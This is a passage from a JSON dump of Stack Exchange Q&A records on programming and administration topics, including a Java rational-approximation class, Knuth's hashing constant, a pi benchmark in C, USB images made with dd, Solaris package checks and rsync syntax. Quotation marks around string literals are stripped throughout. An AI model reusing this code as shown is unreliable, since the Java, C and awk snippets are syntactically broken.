significant bottleneck.Is there a quicker way of doing this?My implementation of Rational forces the numerator and denominator to be fully reduced at all times. I accept that that is likely the biggest overhead but as mentioned in Wikipedia the rationals must be fully reduced for the mediant function to work correctly.Here is the full class - borrowed from the mentioned site and enhanced:/** * *********************************************************************** * Immutable ADT for Rational numbers. * * Invariants * ----------- * - gcd(num, den) = 1, i.e, the rational number is in reduced form * - den >= 1, the denominator is always a positive integer * - 0/1 is the unique representation of 0 * * We employ some tricks to stave of overflow, but if you * need arbitrary precision rationals, use BigRational.java. * * Borrowed from http://introcs.cs.princeton.edu/java/92symbolic/Rational.java.html * because it has a mediant method. * ************************************************************************ */public class Rational extends Number implements Comparable<Rational> {  public static final Rational ZERO = new Rational(0, 1);  public static final Rational ONE = new Rational(1, 1);  private long num;   // the numerator  private long den;   // the denominator  // create and initialize a new Rational object  public Rational(long numerator, long denominator) {    // deal with x/0    if (denominator == 0) {      throw new IllegalArgumentException(Denominator cannot be 0.);    }    // reduce fraction    long g = gcd(numerator, denominator);    num = numerator / g;    den = denominator / g;    // only needed for negative numbers    if (den < 0) {      den = -den;      num = -num;    }  }  public Rational(Rational from) {    num = from.num;    den = from.den;  }  // return the numerator and denominator of (this)  public long numerator() {    return num;  }  public long denominator() {    return den;  }  // return double precision representation of (this)  public double toDouble() {    return (double) num / den;  }  public BigDecimal toBigDecimal() {    // Do it to just 4 decimal places.    return toBigDecimal(4);  }  public BigDecimal toBigDecimal(int digits) {    // Do it to n decimal places.    return new BigDecimal(num).divide(new BigDecimal(den), digits, RoundingMode.DOWN).stripTrailingZeros();  }  // return string representation of (this)  @Override  public String toString() {    if (den == 1) {      return num + ;    } else {      return num + / + den;    }  }  public int compareTo(Rational b) {    // return { -1, 0, +1 } if a < b, a = b, or a > b    Rational a = this;    long lhs = a.num * b.den;    long rhs = a.den * b.num;    if (lhs < rhs) {      return -1;    }    if (lhs > rhs) {      return +1;    }    return 0;  }  @Override  public boolean equals(Object y) {    // is this Rational object equal to y?    if (y == null) {      return false;    }    if (y.getClass() != this.getClass()) {      return false;    }    Rational b = (Rational) y;    return compareTo(b) == 0;  }  @Override  public int hashCode() {    int hash = 5;    hash = 97 * hash + (int) (this.num ^ (this.num >>> 32));    hash = 97 * hash + (int) (this.den ^ (this.den >>> 32));    return hash;  }  // create and return a new rational (r.num + s.num) / (r.den + s.den)  public static Rational mediant(Rational r, Rational s) {    return new Rational(r.num + s.num, r.den + s.den);  }  // return gcd(|m|, |n|)  private static long gcd(long m, long n) {    if (m < 0) {      m = -m;    }    if (n < 0) {      n = -n;    }    if (0 == n) {      return m;    } else {      return gcd(n, m % n);    }  }  // return lcm(|m|, |n|)  private static long lcm(long m, long n) {    if (m < 0) {      m = -m;    }    if (n < 0) {      n = -n;    }    return m * (n / gcd(m, n));    // parentheses important to avoid overflow  }  // return a * b, staving off overflow as much as possible by cross-cancellation  public Rational times(Rational b) {    Rational a = this;    // reduce p1/q2 and p2/q1, then multiply, where a = p1/q1 and b = p2/q2    Rational c = new Rational(a.num, b.den);    Rational d = new Rational(b.num, a.den);    return new Rational(c.num * d.num, c.den * d.den);  }  // return a + b, staving off overflow  public Rational plus(Rational b) {    Rational a = this;    // special cases    if (a.compareTo(ZERO) == 0) {      return b;    }    if (b.compareTo(ZERO) == 0) {      return a;    }    // Find gcd of numerators and denominators    long f = gcd(a.num, b.num);    long g = gcd(a.den, b.den);    // add cross-product terms for numerator    Rational s = new Rational((a.num / f) * (b.den / g) + (b.num / f) * (a.den / g),                              lcm(a.den, b.den));    // multiply back in    s.num *= f;    return s;  }  // return -a  public Rational negate() {    return new Rational(-num, den);  }  // return a - b  public Rational minus(Rational b) {    return plus(b.negate());  }  public Rational reciprocal() {    return new Rational(den, num);  }  // return a / b  public Rational divides(Rational b) {    Rational a = this;    return a.times(b.reciprocal());  }  // Default delta to apply.  public static final double DELTA = 0.0001;  public static Rational valueOf(double dbl) {    return valueOf(dbl, DELTA);  }  public static Rational valueOf(BigDecimal dbl) {    return valueOf(dbl.doubleValue(), DELTA);  }  public static Rational valueOf(double dbl, int digits) {    return valueOf(dbl, Math.pow(10, -digits));  }  public static Rational valueOf(BigDecimal dbl, int digits) {    return valueOf(dbl.doubleValue(), Math.pow(10, -digits));  }  // Create a good rational for the value within the delta supplied.  public static Rational valueOf(double dbl, double delta) {    // Primary checks.    if (delta <= 0.0) {      throw new IllegalArgumentException(Delta must be > 0.0);    }    // Remove the sign and integral part.    long integral = (long) Math.floor(dbl);    dbl -= integral;    // The value we are looking for.    final Rational d = new Rational((long) ((dbl) / delta), (long) (1 / delta));    // Min value = d - delta.    final Rational min = new Rational((long) ((dbl - delta) / delta), (long) (1 / delta));    // Max value = d + delta.    final Rational max = new Rational((long) ((dbl + delta) / delta), (long) (1 / delta));    // Start the fairey sequence.    Rational l = ZERO;    Rational h = ONE;    Rational found = null;    // Keep slicing until we arrive within the delta range.    do {      // Either between min and max -> found it.      if (found == null && min.compareTo(l) <= 0 && max.compareTo(l) >= 0) {        found = l;      }      if (found == null && min.compareTo(h) <= 0 && max.compareTo(h) >= 0) {        found = h;      }      if (found == null) {        // Make the mediant.        Rational m = mediant(l, h);        // Replace either l or h with mediant.        if (m.compareTo(d) < 0) {          l = m;        } else {          h = m;        }      }    } while (found == null);    // Bring back the sign and the integral.    if (integral != 0) {      found = found.plus(new Rational(integral, 1));    }    // That's me.    return found;  }  private static void print(String name, Rational r) {    System.out.println(name + = + r + ( + r.toDouble() + ));  }  private enum TestNumber {    OneTenth(0.100000001490116119384765625),    Pi(Math.PI),    E(Math.E),    OneThird(0.3333333333333),    MinusOneThird(-0.3333333333333),    ABig1(1.87344227533222758141533568138280569154340745619495504034120344898213260187710089517712780269958755185722145694193999220);    final double v;    TestNumber(double v) {      this.v = v;    }  }  private static void test2() {    for (TestNumber n : TestNumber.values()) {      print(n.name(), Rational.valueOf(n.v));    }  }  private static void test1() {    Rational x, y, z;    // 1/2 + 1/3 = 5/6    x = new Rational(1, 2);    y = new Rational(1, 3);    z = x.plus(y);    System.out.println(z);    // 8/9 + 1/9 = 1    x = new Rational(8, 9);    y = new Rational(1, 9);    z = x.plus(y);    System.out.println(z);    // 1/200000000 + 1/300000000 = 1/120000000    x = new Rational(1, 200000000);    y = new Rational(1, 300000000);    z = x.plus(y);    System.out.println(z);    // 1073741789/20 + 1073741789/30 = 1073741789/12    x = new Rational(1073741789, 20);    y = new Rational(1073741789, 30);    z = x.plus(y);    System.out.println(z);    //  4/17 * 17/4 = 1    x = new Rational(4, 17);    y = new Rational(17, 4);    z = x.times(y);    System.out.println(z);    // 3037141/3247033 * 3037547/3246599 = 841/961     x = new Rational(3037141, 3247033);    y = new Rational(3037547, 3246599);    z = x.times(y);    System.out.println(z);    // 1/6 - -4/-8 = -1/3    x = new Rational(1, 6);    y = new Rational(-4, -8);    z = x.minus(y);    System.out.println(z);  }  // test client  public static void main(String[] args) {    //test1();    test2();  }  // Implement Number.  @Override  public int intValue() {    return (int) doubleValue();  }  @Override  public long longValue() {    return (long) doubleValue();  }  @Override  public float floatValue() {    return (float) doubleValue();  }  @Override  public double doubleValue() {    return toDouble();  }}"  , "title": "Finding the nearest Rational to a double - is there a more efficient mechanism?"  , "tags": "java;performance;mathematics;floating point;rational numbers"  , "accepted_answer": "NamingYou definitely need to improve your variable names. Here are some suggested changes with the reasoningdbl -> value (does not change much but repeating the type of a variable as its name does not add value (no pun intended))delta -> epsilon (the name epsilon is much more common if you want to define a closeness boundary)ABig1 (I have no idea for this but it does not help much. This one is as big as every other double. More importantly, double is not capable of catching all the digits you give there.)Now to the AlgorithmDoing a binary search is quite efficient in comparison with other methods but it still has an \\$\\mathbb{O}(\\log n)\\$ runtime. Lets think about the representation of doubles in IEEE 754 format.A double consists of 64 bits of which the first is the sign bit, the next eleven bits store a biased exponent and the remaining 52 bits store the mantissa.The idea is as follows: We use the mantissa as numerator and the exponent as denominator (if it is negative) or as factor for the numerator when it is positive:public static long getMantissaBits(double value) {    // select the 52 lower bits which make up the mantissa    return Double.doubleToLongBits(value) & 0xFFFFFFFFFFFFFL;}public static long getMantissa(double value) {    // add the hidden 1 of normalized doubles    return (1L << 52) + getMantissaBits(value);}public static long getExponent(double value) {    int exponentOffset = 52;    long lowest11Bits = 0x7FFL;    long shiftedBiasedExponent = Double.doubleToLongBits(value) & (lowest11Bits << exponentOffset);    long biasedExponent = shiftedBiasedExponent >> exponentOffset;    // remove the bias    return biasedExponent - 1023;}public static Rational valueOf(double value) {    long mantissa = getMantissa(value);    long exponent = getExponent(value) - 52;    int numberOfTrailingZeros = Long.numberOfTrailingZeros(mantissa);    mantissa >>= numberOfTrailingZeros;    exponent += numberOfTrailingZeros;    // apply the sign to the numerator    long numerator = (long) Math.signum(value) * mantissa;    if(exponent < 0)        return new Rational(numerator, 1L << -exponent);    else        return new Rational(numerator << exponent, 1);}As you can see, we don't need the delta anymore as we are as close as possible. Of course there are some caveats. If the double is denormalized getMantissa will give wrong results (but you could detect that and return the correct result). Another problem stems from too big/small exponents where the shift of 1L is greater or equal to 64bits (and thus the result is 0). However, if you think about this problem you will find that these exponents only occur when the number is too big/small to fit into your Rational class anyways.As noticed in the comments this will return the exact result which is not wanted. I tried to come up with a solution to get the rounding correct but I failed so I shamelessly translated python's solution to Java:public Rational limitDenominator(long maximumDenominator) {    if (maximumDenominator < 1) {        throw new IllegalArgumentException(Denominator cannot be less than 1.);    }    if(this.den <= maximumDenominator)        // we can't get closer than the current value        return this;    long p0 = 0;    long q0 = 1;    long p1 = 1;    long q1 = 0;    long n = this.num;    long d = this.den;    while(true) {        long a = n / d;        long q2 = q0 + a * q1;        if(q2 > maximumDenominator)            break;        long oldP0 = p0;        p0 = p1;        q0 = q1;        p1 = oldP0 + a * p1;        q1 = q2;        long oldN = n;        n = d;        d = oldN - a * d;    }    long k = (maximumDenominator - q0) / q1;    Rational bound1 = new Rational(p0 + k * p1, q0 + k * q1);    Rational bound2 = new Rational(p1, q1);    if(bound2.minus(this).abs().compareTo(bound1.minus(this).abs()) <= 0){        return bound2;    } else {        return bound1;    }}I cannot say much about the exact details in play here because I need to first understand them myself but the idea is that you find the closest fraction with a denominator less or equal than the given maximum. To do so you find an upper and lower closest and choose the one that is closer.Algorithm explanation (some math?)I finally found some time to have a closer look at the algorithm. Let us at first note that the problem we are trying to solve is the Diophantine approximation. As noted in the linked article we can use convergents or semiconvergents of the continued fraction representation of the given number to approximate it. Its best approximations for the second definition are\\$3, \\frac{8}{3}, \\frac{11}{4}, \\frac{19}{7}, \\frac{87}{32}, \\ldots\\,\\$ ,while, for the first definition, they are\\$3, \\frac{5}{2}, \\frac{8}{3}, \\frac{11}{4}, \\frac{19}{7}, \\frac{30}{11}, \\frac{49}{18}, \\frac{68}{25}, \\frac{87}{32}, \\frac{106}{39}, \\ldots \\$As you can see the semiconvergents have a much tighter spacing so we should use them (because the target number can lie in a hole between the convergents that is filled by semiconvergents). If you take a look into the linked python documentation you will find that it also uses semiconvergents.The Wikipedia article also tells us thatEven-numbered convergents are smaller than the original number, while odd-numbered ones are bigger.So we corner the number from both sides. The same section also tells us thatIf successive convergents are found, with numerators h1, h2,  and denominators k1, k2,  then the relevant recursive relation is:\\$h_n = a_nh_{n  1} + h_{n  2}\\$,     \\$k_n = a_nk_{n  1} + k_{n  2}\\$.The successive convergents are given by the formula\\$\\frac{h_n}{k_n} = \\frac{a_nh_{n  1} + h_{n  2}}{a_nk_{n  1} + k_{n  2}}\\$ Looking closer in the code you will note that \\$h_{n-1}\\$ corresponds to p1 and \\$h_{n-2}\\$ to p0 (similarly for the \\$k\\$s and qs), \\$a_n\\$ is a in the code.So the loop calculates convergents that approximate better and better and always increase in their denominator. This gives a convenient break condition when the next convergent would have a denominator greater than the allowed maximum. So we hit the end of the road and stop there.Now we found the nearest convergents but there might be a closer semiconvergent.We know that the convergent with the denominator q0 + a * q1 is too big and the one with the denominator q1 is smaller (or equal) so we only have to look if there are semiconvergents between the two that are closer. Any semiconvergent with bigger denominator will be a better approximation [Citation Needed] (say closer). So we need to find the semiconvergent with the biggest denominator that is still smaller than the maximum. The following lines do this exactly:long k = (maximumDenominator - q0) / q1;denominator = q0 + k * q1;numerator = p0 + k * p1;The python code does compare the closeness of this with \\$\\frac{p1}{q1}\\$ but I am not sure if this is really necessary. This concludes my discussion of the algorithm. The next step would be to explain why the semi-/convergents work that way but I will leave that out just believe Wikipedia/some houndred years of mathematics."  } 
{  "id": "_cstheory.9639"  , "question": "When interpreting keys as natural numbers we can use the following formula.\\begin{equation}h(k) = \\lfloor m (kA\\bmod{1}) \\rfloor\\end{equation}What I am having trouble understanding is how we choose the value of A where:\\begin{equation}0 < A < 1\\end{equation}According to Knuth an optimal value is:\\begin{equation}A \\thickapprox (\\sqrt{5} - 1) / 2 = 0.6180339887...\\end{equation}So my question is how did Knuth come to this and how could I calculate an optimum value for my specific data?"  , "title": "How did Knuth derive A?"  , "tags": "hash function"  , "accepted_answer": "See exercise 9 of section 6.4 of The Art of Computer Programming.Any irrational $A$ would work, because $\\{kA\\}$ breaks up a largest gap of $\\{A\\}, \\{2A\\}, \\ldots, \\{(k-1)A\\}$ (I use the notation $\\{x\\}$ for $x\\mod 1$).But if $A = \\phi^{-1}$ or $A = \\phi^{-2}$, it has a special property: these are the only values for which neither of the two newly created gaps is more than twice as long as the other."  } 
{  "id": "_webmaster.88659"  , "question": "The CloudFlare free tier service offers unlimited bandwith while other CDNs charge starting at about $.10/gb.CloudFlare does not have bandwidth limits. As long as the domains  being added comply with our Terms of Service, CloudFlare does not  impose any limits.There's very little said on their website in the way of restrictions. The offer appears to be legit. Is there a catch?"  , "title": "How can CloudFlare offer a free CDN with unlimited bandwidth?"  , "tags": "cdn;cloudflare"  , "accepted_answer": "It does not offer unlimited bandwidth. Unlimited bandwidth does not exist and is an impossibility. It is only a marketing term that states the limit is higher than most users require. There is always a catch somewhere when anything is unlimited. With something that says unlimited, you are worse off than a service that has a specific known limit (or pay per use).Read:https://www.cloudflare.com/terms/SECTION 10: LIMITATION ON NON-HTML CACHINGYou further agree that if, at CloudFlares sole discretion, you are deemed to have violated this section, or if CloudFlare, in its sole discretion, deems it necessary due to excessive burden or potential adverse impact on CloudFlares systems, potential adverse impact on other users, server processing power, server memory, abuse controls, or other reasons, CloudFlare may suspend or terminate your account without notice to or liability to you.So if you cost them too much, they can stop providing you a service without notice.Plus, what guarantee do you have that their service will not have large outages when you pay nothing?"  } 
{  "id": "_webmaster.102904"  , "question": "I recently overhauled a website for a client. Their preference was to switch from a www url to a non-www url as part of the redesign.Once we launched the site, it took a major plummet in its position on SERPs. Now, I know this could be for several reasons outside of the projected issue I presented. But has anyone else ever made a similar switch and saw their website take a decline on SERPs?Thanks in advance for your comments."  , "title": "www vs non-www in seo"  , "tags": "seo;url;serps;no www;negative seo"  } 
{  "id": "_unix.75822"  , "question": "Is it possible with the normal Unix permissions system to enable group members to have the right to change a file's permissions?In other words, suppose we have a file awesome.rb which is owned by user brandon who belongs to group developers, and user darryl (also a member of developers) needs to make a particular file executable.  Is there any way to make this possible? "  , "title": "Is there any way for group owners to have full rights of a file or directory owner?"  , "tags": "permissions"  } 
{  "id": "_webmaster.59663"  , "question": "In a .htaccess file in the subfolder /preview (not in document root), I have this rule:RewriteRule !^public/ /preview/forbidden.php [L,R]It redirects all /preview/something requests that are not in /preview/public/ to the fobidden message.However, I don't like the fact that the directory name preview is in the .htaccess file. I would like to copy the entire website to another folder or server simply by copying the file without having to change the .htaccess file.So, is it possible to achieve the effect of that rule in some other way?"  , "title": "Is there a current directory variable in .htaccess RewriteRule?"  , "tags": "htaccess"  } 
{  "id": "_unix.44466"  , "question": "I want to create an image of some directory tree that is writable directly to an USB drive, just like the images of many linux distributions. For example, with openSUSE you can download an ISO image that is writable directly the USB using dd.root@computer# dd if=openSUSE.iso of=/dev/sdbI tried to create images using mkisofs, but when I ran the dd command above with that image didn't get a partition table, which made windows not recognize the format of the drive and linux didn't present /dev/sdb1. I also tried to create an empty file, and then create a filesystem in that file using mkfs.vfat.There seem to be a lot of tutorials on the web on how to write images to USB drives as well as dumping an usb drive to file, but I haven't found anything on creating an image with a partition table. The problem I'm trying to solve with this is to distribute a preformated USB stick, so there is no need for the stick to be bootable, and I would also like to make this process scriptable."  , "title": "How do I create a USB image with a partition table?"  , "tags": "linux;usb;dd"  , "accepted_answer": "You can use kpartx for this. Here is a way to create a complete disk image.# create empty imagedd if=/dev/zero of=myvm.img bs=1G count=0 seek=100# partition the image file with fdisk/gdisk or any other toolgdisk myvm.img# make the partitions in the image file available as individual deviceskpartx -a myvm.img# work with the partitions./someprogram /dev/mapper/loop0p1# close the partitionskpartx -d myvm.img"  } 
{  "id": "_unix.200667"  , "question": "I'm trying to verify the all packages except for a pre-defined list of packages that I know are going to fail for known reasons. This script is going to be run on all Solaris systems within our environment to confirm a system baseline.I'm open to any technique which will work here, and is possible to put on a single line (Limitation of the tool I'm using for validation).My initial thought was that I'd take a pkg list, run it through AWK to grab the package name, filter out the packages I don't want, and then run an individual pkg verify on each package remaining individually.This is the code I've created below:pkg list | awk 'BEGIN {c=0} $1 == exclude1 || $1 == exclude2 { next } { system(pkg verify  $1); c++ } END { if (c == 0) print none }'The problem I'm running into is I'm not seeing any output even though I know there should be a few things that fail the pkg verify. I thought the system( would capture the output, but I'm relatively new to AWK, and it could be I'm misunderstanding something."  , "title": "Solaris: PKG - Script To Verify All Packages Except for a Few"  , "tags": "awk;scripting;solaris"  , "accepted_answer": "On Solaris 11.3, you will want to use nawk rather than awk.  nawk (new awk) is installed by default and should be in your path (/usr/bin/nawk).The system() function in awk (any implementation) does not return the output of the command, but its exit code.  This is ok though, as you probably don't want the actual output from pkg anyway.  The pkg command will exit with a non-zero exit code if something went wrong (see the pkg manual).The following pipeline will take the pkg list output and skip the first line (which is a header), and all lines matching the excluded package names. For the remaining lines of input, it will execute pkg verify through system() with the package name.If pkg verify returns a non-zero exit status, it will increment a counter. At the end of processing, the counter will be displayed, showing how many verification errors occurred.pkg list | nawk 'NR > 1 && !/exclude1|exclude2/ { if (system(pkg verify  $1)) { e++ } } END { printf(%d errors\\n, e) }'This is rather inefficient though. It's quicker to get a list of the packages and verify them in one go:pkg list | nawk 'NR > 1 && !/exclude1|exclude2/ { print $1 }' | ( xargs pkg verify ) || echo there were errorsIf you have a list of packages to ignore in a file:pkg list | /usr/xpg4/bin/grep -F -v -f excluded.txt | nawk 'NR > 1 { print }' | ( xargs pkg verify ) || echo there were errors"  } 
{  "id": "_codereview.40256"  , "question": "I wrote the following program to calculate n digits of Pi (where n could be anything, like 10M) in order to benchmark the CPU and it works perfectly (without OpenMP):/*** Simple PI Benchmarking tool* Author: Suyash Srijan* Email: suyashsrijan@outlook.com** This program calculates how much time your CPU takes to compute n digits of PI using Chudnovsky Algorithm* (http://en.wikipedia.org/wiki/Chudnovsky_algorithm) and uses the GNU Multiple Precision Arithmetic Library* for computation.** For verification of digits, you can download the digits from here: http://piworld.calico.jp/estart.html** It's a single threaded program but you can compile it with OpenMP support to enable parallelization.* WARN: OpenMP support is experimental** Compile using gcc : gcc -O2 -Wall -o pibench pibench.c -lgmp -lssl -lcrypto* Compile using gcc (with OpenMP): gcc -O2 -Wall -o pibench pibench.c -lgmp -lssl -lcrypto -fopenmp**/#include <gmp.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <time.h>#include <sys/resource.h>#include <sys/utsname.h>#include <openssl/md5.h>/* Import OpenMP header if compiling with -fopenmp */#if defined(_OPENMP)#include <omp.h>#endif/* You can't compile this on Windows */#ifdef _WIN32#error >>> Fatal: It is not possible to compile this program on Windows <<<#endif/* Build timestamp */#define build_time __TIME__#define build_date __DATE__/* Calculate log to the base 2 using GCC's bit scan reverse intrinsic */__inline__ unsigned int clc_log2(const unsigned int num) {    return ((num <= 1) ? 0 : 32 - (__builtin_clz(num - 1)));}/* Calculate MD5 checksum for verification */__inline__ char *clc_md5(const char *string) {    MD5_CTX context;    unsigned char digest[16];    char *checksum = (char*)malloc(33);    int i;    MD5_Init(&context);    MD5_Update(&context, string, strlen(string));    MD5_Final(digest, &context);    for (i = 0; i < 16; ++i) {        snprintf(&(checksum[i*2]), 3, %02x, (unsigned int)digest[i]);    }    return checksum;}/* Calculate pi digits main function */__inline__ char *clc_pi(unsigned long dgts){    /* Variable declaration */    struct timespec start, end;    unsigned long int i, ti, constant1, constant2, constant3;    unsigned long iters = (dgts / 15) + 1;    unsigned long precision;    double bits;    char *oput;    mpz_t v1, v2, v3, v4, v5;    mpf_t V1, V2, V3, total, tmp, res;    mp_exp_t exponent;    /* Initialize */    constant1 = 545140134;    constant2 = 13591409;    constant3 = 640320;    bits = clc_log2(10);    precision = (dgts * bits) + 1;    mpf_set_default_prec(precision);    mpz_inits(v1, v2, v3, v4, v5, NULL);    mpf_inits(res, tmp, V1, V2, V3, total, NULL);    mpf_set_ui(total, 0);    mpf_sqrt_ui(tmp, 10005);    mpf_mul_ui(tmp, tmp, 426880);    /* Get high-res time */    clock_gettime(CLOCK_REALTIME, &start);    /* Print total iterations and start computation of digits */    printf(Total iterations: %lu\\n\\n, iters - 1);#if defined(_OPENMP)#pragma omp parallel for private(v1, v2, v3, v4, v5, V1, V2, V3, ti) reduction(+:total)#endif    /* Iterate and compute value using Chudnovsky Algorithm */    for (i = 0x0; i < iters; i++) {        ti = i * 3;        mpz_fac_ui(v1, 6 * i);        mpz_set_ui(v2, constant1);        mpz_mul_ui(v2, v2, i);        mpz_add_ui(v2, v2, constant2);        mpz_fac_ui(v3, ti);        mpz_fac_ui(v4, i);        mpz_pow_ui(v4, v4, 3);        mpz_ui_pow_ui(v5, constant3, ti);        if ((1 & ti) == 1) { mpz_neg(v5, v5); }        mpz_mul(v1, v1, v2);        mpf_set_z(V1, v1);        mpz_mul(v3, v3, v4);        mpz_mul(v3, v3, v5);        mpf_set_z(V2, v3);        mpf_div(V3, V1, V2);        mpf_add(total, total, V3);        /* Print interations executed if debugging (I don't like spamming stdout unnecesarily) */        #ifdef DEBUG        printf(Iteration %lu of %lu successfully executed\\n, i, iters - 1);        #endif    }    /* Some final computations */    mpf_ui_div(total, 1, total);    mpf_mul(total, total, tmp);    /* Get high-res time */    clock_gettime(CLOCK_REALTIME, &end);    /* Calculate and print time taken */    double time_taken = (double)(end.tv_sec - start.tv_sec) + (double)(end.tv_nsec - start.tv_nsec) / 1E9;    printf(Done!\\n\\nTime taken (seconds): %lf\\n, time_taken);    /* Store output */    oput = mpf_get_str(NULL, &exponent, 10, dgts, total);    /* Free up space consumed by variables */    mpz_clears(v1, v2, v3, v4, v5, NULL);    mpf_clears(res, tmp, V1, V2, V3, total, NULL);    /* Return value */    return oput;}/* Entry point of program */int main(int argc, char *argv[]) {    /* Set number of threads if compiling with -fopenmp */#if defined(_OPENMP)    omp_set_num_threads(8);#endif    /* Variable declaration and initialization */    unsigned long how_many_digits = 10000;    unsigned int base = 10;    char *tmp_ptr;    int pd = 0;    int dd = 0;    /* Try setting process priority to highest */    int returnvalue = setpriority(PRIO_PROCESS, (id_t)0, -20);    if (returnvalue == -1) { printf(WARN: Unable to max out priority. Did you not run this app as root?\\n); }    /* Parse command line */    if (argc == 3 && ((strcmp(argv[2], --printdigits) == 0) || (strcmp(argv[2], --nodigits) == 0) || (strcmp(argv[2], --dumpdigits) == 0))) {        how_many_digits = strtol(argv[1], &tmp_ptr, base);        pd = (strcmp(argv[2], --printdigits) == 0) ? 1 : 0;        dd = (strcmp(argv[2], --dumpdigits) == 0) ? 1 : 0; }    /* Invalid command line parameters */    else { fprintf(stderr, Error: Invalid command-line arguments!\\nUsage: pibench [digits] [parameter]\\nParameter:\\n--printdigits : Prints all digits on console\\n--nodigits : Suppresses printing of digits on console\\n--dumpdigits : Saves all the digits to a text file\\n\\nUsage example: pibench 50000 --printdigits\\n); exit(1); }    /* Print introductory text */    struct utsname uname_ptr;    uname(&uname_ptr);    printf(\\n---------------------------------------------------------------);    printf(\\nPi Bench v1.0 beta (%s)\\nBuild date: %s %s\\n, uname_ptr.machine, build_date, build_time);    printf(---------------------------------------------------------------\\n\\n);    /* Check if digits isnt zero or below */    if (how_many_digits < 1) { fprintf(stderr, Error: Digit cannot be lower than 1\\n); exit(1); }    /* Calculate digits of pi */    printf(Computing %lu digits of PI...\\n, how_many_digits);    char *digits_of_pi = clc_pi(how_many_digits);    /* Print the digits if user specified the --printdigits flag */    if (pd == 1) {        printf(Here are the digits:\\n\\n%.1s.%s\\n, digits_of_pi, digits_of_pi + 1); }    /* Save digits to text file if user specified the --dumpdigits flag */    if (dd == 1) {        FILE *file;        if ((file = fopen(pidigits.txt, w)) == NULL) {            fprintf(stderr, Error while opening file\\n); exit(-1); } else {            fprintf(file, %.1s.%s\\n, digits_of_pi, digits_of_pi + 1);            fclose(file); }    }    /* Print MD5 checksum */    char *md5 = clc_md5(digits_of_pi);    printf(MD5 checksum (for verification): %s\\n, md5);    /* Free the memory */    free(digits_of_pi);    /* Time to go! */    printf(Goodbye!\\n);    return 0;}The source code is available here.Any suggestions or tips will be greatly appreciated!"  , "title": "Pi Benchmarking in C"  , "tags": "performance;c;multithreading;openmp;openssl"  , "accepted_answer": "Just a few notes on some things I didn't see mentioned.Compilation:I originally couldn't compile the program with the command in the comments./tmp/cc2H2h0a.o: In function 'clc_pi':   test.c:(.text+0x148): undefined reference to 'clock_gettime'   test.c:(.text+0x2f0): undefined referenceto 'clock_gettime'   collect2: ld returned 1 exit statusAdd -lrt to the list of libraries you link to.// Compile using gcc : gcc -O2 -Wall -o pibench pibench.c -lgmp -lssl -lcrypto -lrtSyntax:The DEBUG stuff is distracting.  Maybe it is temporary, but if youwanted to leave it in, I suggest extracting it:#include <stdarg.h>static inline void debug(const char *format, ...){#ifdef DEBUG    va_list ap;    va_start(ap, format);    vfprintf(stdout, format, ap);    va_end(ap);#endif}and calling it:debug(Iteration %lu of %lu successfully executed\\n, i, iters - 1);If DEBUG is undefined, the inline debug function will be empty and willbe excluded during compilation - it disappears.Put the else on its own line.if (dd == 1) {    FILE *file;    if ((file = fopen(pidigits.txt, w)) == NULL) {        fprintf(stderr, Error while opening file\\n); exit(-1); } else {        fprintf(file, %.1s.%s\\n, digits_of_pi, digits_of_pi + 1);        fclose(file); }}When you use it this way, it is very easy to overlook it.  I almost glanced over it when examining your code.  There isn't really a reason to put it on it's own line, except to save LOC, which you could do better in other places.if (dd == 1) {    FILE *file;    if ((file = fopen(pidigits.txt, w)) == NULL)     {        fprintf(stderr, Error while opening file\\n); exit(-1);     } else {        fprintf(file, %.1s.%s\\n, digits_of_pi, digits_of_pi + 1);        fclose(file);     }}Put all statements on separate lines. From Code Complete, 2nd Edition, pg. 759:With statements on their own lines, the code reads from top to bottom,  instead of top to bottom and left to right. When youre looking for a specific line of code, your eye should be able to follow the left margin of the code. It shouldnt have to dip into each and every line just because a single line might contain two statements.I would use more comments, especially around your OpenMP #pragmas and function calls.Define i in your for loops.(C99)for (int i = 0x0; i < iters; i++)Miscellaneous:fopen(), a widely-used file I/O functions that you are using, got a facelift in C11. It now supports a new exclusive create-and-open mode (...x). The new mode behaves like O_CREAT|O_EXCL in POSIX and is commonly used for lock files. The ...x family of modes includes the following options:wx create text file for writing with exclusive access.wbx create binary file for writing with exclusive access.w+x create text file for update with exclusive access.w+bx or wb+x create binary file for update with exclusive access.Opening a file with any of the exclusive modes above fails if the file already exists or cannot be created. Otherwise, the file is created with exclusive (non-shared) access. Additionally, a safer version of fopen() called fopen_s() is also available.  That is what I would use in your code if I were you, but I'll leave that up for you to decide and change.CLOCK_REALTIME represents the machine's best-guess as to the current wall-clock, time-of-day time.  This means that CLOCK_REALTIME can jump forwards and backwards as the system time-of-day clock is changed, including by NTP.CLOCK_MONOTONIC represents the absolute elapsed wall-clock time since some arbitrary, fixed point in the past.  It isn't affected by changes in the system time-of-day clock.If you want to compute the elapsed time between two events observed on the one machine without an intervening reboot, CLOCK_MONOTONIC is the best option."  } 
{  "id": "_unix.42533"  , "question": "I'm trying to do...ssh -av -e deploy@domain.com:/var/www/domain.com /Users/user/workspace/domainBut it's outputting this (I presume because of the period character):OpenSSH_5.6p1, OpenSSL 0.9.8r 8 Feb 2011Bad escape character 'deploy@domain.com:/var/www/domain.com'.I have tried ssh -av -e deploy@domain.com:/var/www/domain\\.com /Users/user/workspace/domainAnd various combinations with quotes. What is the right syntax?"  , "title": "How do I escape a dot character for an rsync command?"  , "tags": "bash;ssh;rsync"  , "accepted_answer": "You're doing this:ssh -av -e deploy@domain.com:/var/www/domain.com /Users/user/workspace/domainYou're not executing rsync at all and ssh is telling you that deploy@domain.com:/var/www/domain.com is not a valid escape character.Read ssh(1):-e escape_char              Sets the escape character for sessions with a pty (default: `~'). The escape character is only recognized at the beginning of a line.  The escape character followed by a dot (`.') closes the connection; followed by control-Z suspends the connection; and followed by itself sends the escape character once.  Setting the character to ``none'' disables any escapes and makes the session fully transparent.I think what you meant to run is this:rsync -e ssh -av deploy@domain.com:/var/www/domain.com /Users/user/workspace/domain"  } 
